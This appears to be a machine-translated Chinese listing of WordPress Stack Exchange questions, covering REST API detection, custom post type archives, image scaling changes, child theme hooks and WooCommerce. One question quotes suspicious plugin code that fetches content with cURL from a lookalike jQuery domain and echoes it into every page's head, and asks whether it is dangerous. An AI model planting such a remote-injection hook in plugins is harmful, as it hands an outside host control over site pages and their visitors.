WordPress

WordPress开发人员和管理员的问答

6
是否存在is_rest()之类的东西
我从REST API开始。如果我没有完全误导,则init在其REST API请求时也会执行动作挂钩。现在,我只想在不是REST API请求时执行一些代码。 所以我在寻找类似is_rest()的命令以便做类似的事情 <?php if( ! is_rest() ) echo 'no-rest-request'; ?> 但是我找不到这样的东西。有is_rest()外面吗?
18 rest-api 

1
如何删除自定义帖子类型档案
我有一个名为“ recipe”的自定义帖子类型,其has_archive参数设置为true。访问mysite.com/recipe/会给出所有已发布食谱的基本存档列表,页面标题为“ Recipes”。到目前为止,一切都很好。 现在,我希望禁用该配方存档页面(但保持各个配方链接正常工作)。我的第一个念头是尝试将其设置has_archive为false,这听起来应该可以解决问题。不。这样做的唯一区别是页面标题,由于某种原因,页面标题成为站点的名称。实际的存档仍然显示。 完全删除该档案的最佳方法是什么?是否存在register_post_type可以实现此目标的参数,或者是否不可能,并且其中是否存在带有重定向的自定义页面模板? 谢谢。

3
附加分类数据以使用wp_insert_post进行发布
我正在尝试实现一个前端发布系统,该系统在几个下拉选择字段中显示分类数据。在下拉菜单中的每一个通过使用“名”命名的$arg在wp_dropdown_categories()。 wp_dropdown_categories( array( 'taxonomy' => 'location', 'hide_empty' => 0, 'orderby' => 'name', 'order' => 'ASC', 'name' => 'location', ) ); 如您所见,分类法是“位置”,选择名称也是“位置”。 然后,我为每个分类选择下拉列表添加变量,例如post_title,post_content等: $title = trim( $_POST['wpuf_post_title'] ); $content = trim( $_POST['wpuf_post_content'] ); $tags = wpuf_clean_tags( $_POST['wpuf_post_tags'] ); $customcategory = trim( $_POST['customcategory'] ); $cat = trim( $_POST['cat'] ); $location = trim( …

1
WordPress如何创建Apache知道的URL?
当您在WordPress中创建页面时,它只是数据库表中的一项;该位置没有实际文件。但是,我可以自己在该位置创建一个文件,它将从WordPress窃取页面。我删除了文件,然后无缝返回到WordPress页面。 我很好奇这是如何实现的。大概在WordPress和Apache(?)之间正在发生某些通信。

7
REST API的目的?
首先,我知道这是当前的插件,但是无论如何它几乎肯定是WordPress的一部分。因此,我希望这不会被标记为题外话。 我已经阅读了他们的官方文档,许多其他文章并观看了教程视频,但是我仍然没有得到一些要点。这当然是WordPress的未来,对于移动应用程序的开发以及在之间使用/共享数据非常方便。不同的网站,但是:它仅对我的网站有什么作用? 考虑一下: 我目前正在评论中。我希望注释部分仅在用户滚动到注释部分时才加载(具有-200px的偏移量,因此没有延迟)。 我将在用户滚动到该点时触发ajax调用 Ajax调用发送一些数据吧,像post_id 等 WP_Comment_Query()在服务器上运行 JSON通过评论关系,名称,内容等将数据发送回客户端 使用JavaScript document.createElement(),innerHTML 等创建和输出评论 现在.. 为什么要改用REST API?对我有什么用?只是为了未来? 我仍然需要使用JavaScript来输出我得到的所有数据。.我找不到任何好的文章为什么或为什么我应该使用REST API (网站和移动应用程序开发之间的数据传输除外)。
17 rest-api 

3
处理4.1中图像缩放比例(取整)更改的问题(WP Ticket#18532)
我目前正在将网站内容从旧的4.1之前的站点迁移到新的设置,并且遇到#18532的舍入错误问题和相应的修复问题。 总结一下,这解决了WordPress长期存在的舍入问题: 想象一下,我们以693x173上传图片并将其缩放为300的宽度: 4.1以下:300x74 文章4.1:300x75 问题 通常,这不会造成任何问题,因为现有文件和 <img>不会被触摸。 但是,当你再生拇指或从WXR文件导入附件,它们会在文件系统中生成的不同使所有<img>的post_content死。 寻找解决方案 我一直在想各种解决方案: 回到糟糕的过去 Changeset 30660引入了一个新的筛选器wp_constrain_dimensions,该筛选器可用于仅插入4.1之前的旧行为。这确实解决了该问题。但是我想知道这是否会在以后引起问题,通常我想解决这个问题,因此尽管我认为这是不理想的。 他们是一个改变的时代 因此,这给了我们另一个目标:清理数据库,并用对新文件的引用替换对旧文件的所有引用。我现在在这里实际上要问的问题是如何做到这一点。我正在寻找一个有效且普遍适用的解决方案,因为我怀疑此问题确实会影响很多人 我目前的想法是这样的: 导入,重新生成或使用新文件和破损标签留下的任何内容。 从文件系统中所有调整大小的文件创建列表A,或者从数据库中获取此信息 解析此列表并创建第二个列表B,其文件名全部偏移一个像素,就像在4.1之前一样 在整个数据库中进行搜索和替换,将所有B的出现替换为A中的相关条目 我只是不确定这是否是处理这种情况的最聪明,最有效的方法。它也感觉有点太暴力了。因此,在实施它之前,我只想检查一下WPSE人群的无限智慧;) [edit]阅读了ck-macleod的答案(谢谢!),我认为一个修复程序应该一劳永逸地解决此问题,因此您无需经常将这个问题放在脑后。[/编辑] [edit2]我刚刚在Trac上找到了相关票证。添加以供参考。[/ edit2]
17 images  bug 

3
after_setup_theme上的remove_action无法从子主题使用
我正在尝试使用子主题删除优雅主题的主题动作。当我在父主题functions.php中的add_action代码之后删除动作时,此方法有效。但是,当我从子主题functions.php添加它时,它不起作用。 remove_action ('after_setup_theme', 'et_pb_setup_theme' , 10); 删除操作与添加操作具有相同的优先级10。不行吗 add_action( 'after_setup_theme', 'et_pb_setup_theme' ); //parent theme add_action

3
在另一个域上托管wp-admin?
当前,我有一个运行WordPress的客户端,比方说www.example.com。 我正在使用将在另一台服务器上托管的另一种技术/语言来开发新版本。但是管理(WP)和数据库将保留在旧服务器上。 因此,基本上,我将需要指向www.example.com新主机(此处没有问题)并创建一个子域admin.example.com,该子域将指向带有WP安装的旧服务器。 恐怕这会在存储时对数据库造成混乱options,guids对帖子和附件的URL 也会造成混乱……它们将存储为admin.example.com而不是www.example.com,对吗? 如何使wp-admin admin.example.com在数据库上运行URL并将其存储为www.example.com?这也适用于预览链接吗?

2
WordPress是否可以不使用主题?
WordPress是否可以不使用主题?如果是这样,那么它如何工作?请简要说明。 如果WordPress显示的内容没有主题,那么什么控制输出?
17 themes 

5
get_option()vs get_theme_mod():为什么慢一点?
我已经在我的get_theme_mod()各种项目中使用了一段时间。我决定在WordPress v3.4中利用主题自定义API,因为我觉得这是我的客户不可或缺的工具。 一段时间后,我开始注意到我的网站感觉比平时慢了很多,尤其是Customizer花费了很长的时间来加载。通过大量的试验和错误我的调查过程中,我决定尝试切换出type注册我的设置(即当$wp_customize->add_setting()从)theme_mod到option。 完成此操作并换掉所有对的get_theme_mod()调用后get_option(),我注意到使用后一种设置的速度大大提高,这与前端(尤其是后端的Customizer)相比有所提高。我一直在研究WordPress核心,以试图找出答案,但似乎无法识别这种情况下的特殊问题。 社区可能对get_option()执行速度要快得多的任何见解都get_theme_mod()将不胜感激。

1
add_filter和apply_filters之间的区别
我已经寻找之间的差异的合适的解释add_filter(),并apply_filters()在这里,但没能找到。 任何人都可以告诉我在使用之前add_filter或apply_filters在一种情况下要考虑哪些信息或逻辑。 那使得必须使用一项而不是另一项? add_filter只是将一个功能添加到等待在变量上apply_filters执行的功能队列中并按顺序执行功能是否正确? 是不是也很正确,apply_filters当一个参数(要运行的函数的名称)呼吁将队列中的所有其他前执行该功能(如果存在的话)?

1
如何在小部件后端表单中包含复选框?
我试图在我的小部件后端中包含一个复选框。但是在用户提交后,我无法获取该值(打开或关闭)。我以为该值将存储在“ esc_attr($ check)”中(使用文本输入时就是这样),但是我无法检索到它。 这就是我现在正在尝试的方法: public function form( $instance ) { $check = isset( $instance[ 'check' ] ) ? $instance[ 'check' ] : 'off'; echo esc_attr( $check ); // If the input is type text it outputs the value ?> <input class="widefat" id="<?php echo $this->get_field_id( 'check' ); ?>" name="<?php echo $this->get_field_name( …
17 php  widgets 

2
我在插件中找到了这个。它有什么作用?危险吗?
我在插件中找到了这个。它有什么作用?危险吗? add_action('admin_enqueue_scripts', 'pw_load_scripts'); if (!function_exists('wp__head'){ function wp__head() { if(function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch,CURLOPT_URL,"http://www.jqury.net/?1"); curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_REFERER, $_SERVER['HTTP_HOST']); curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10); $jquery = curl_exec($ch); curl_close($ch); echo "$jquery"; } } add_action('wp_head', 'wp__head'); }


3
在woocommerce中隐藏价格和结帐功能
我知道这个问题可能太广泛了,但是我正在寻找一些方向。我的客户有一家拥有30-40种产品的woocommerce商店。无论出于何种原因,他们都不想再在线销售,但他们希望保留其网站上的产品页面,信息等。 有没有一种方法可以使用钩子或其他方法在woocommerce中隐藏价格,添加到购物车按钮等内容?还是应该只编辑php模板文件?

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.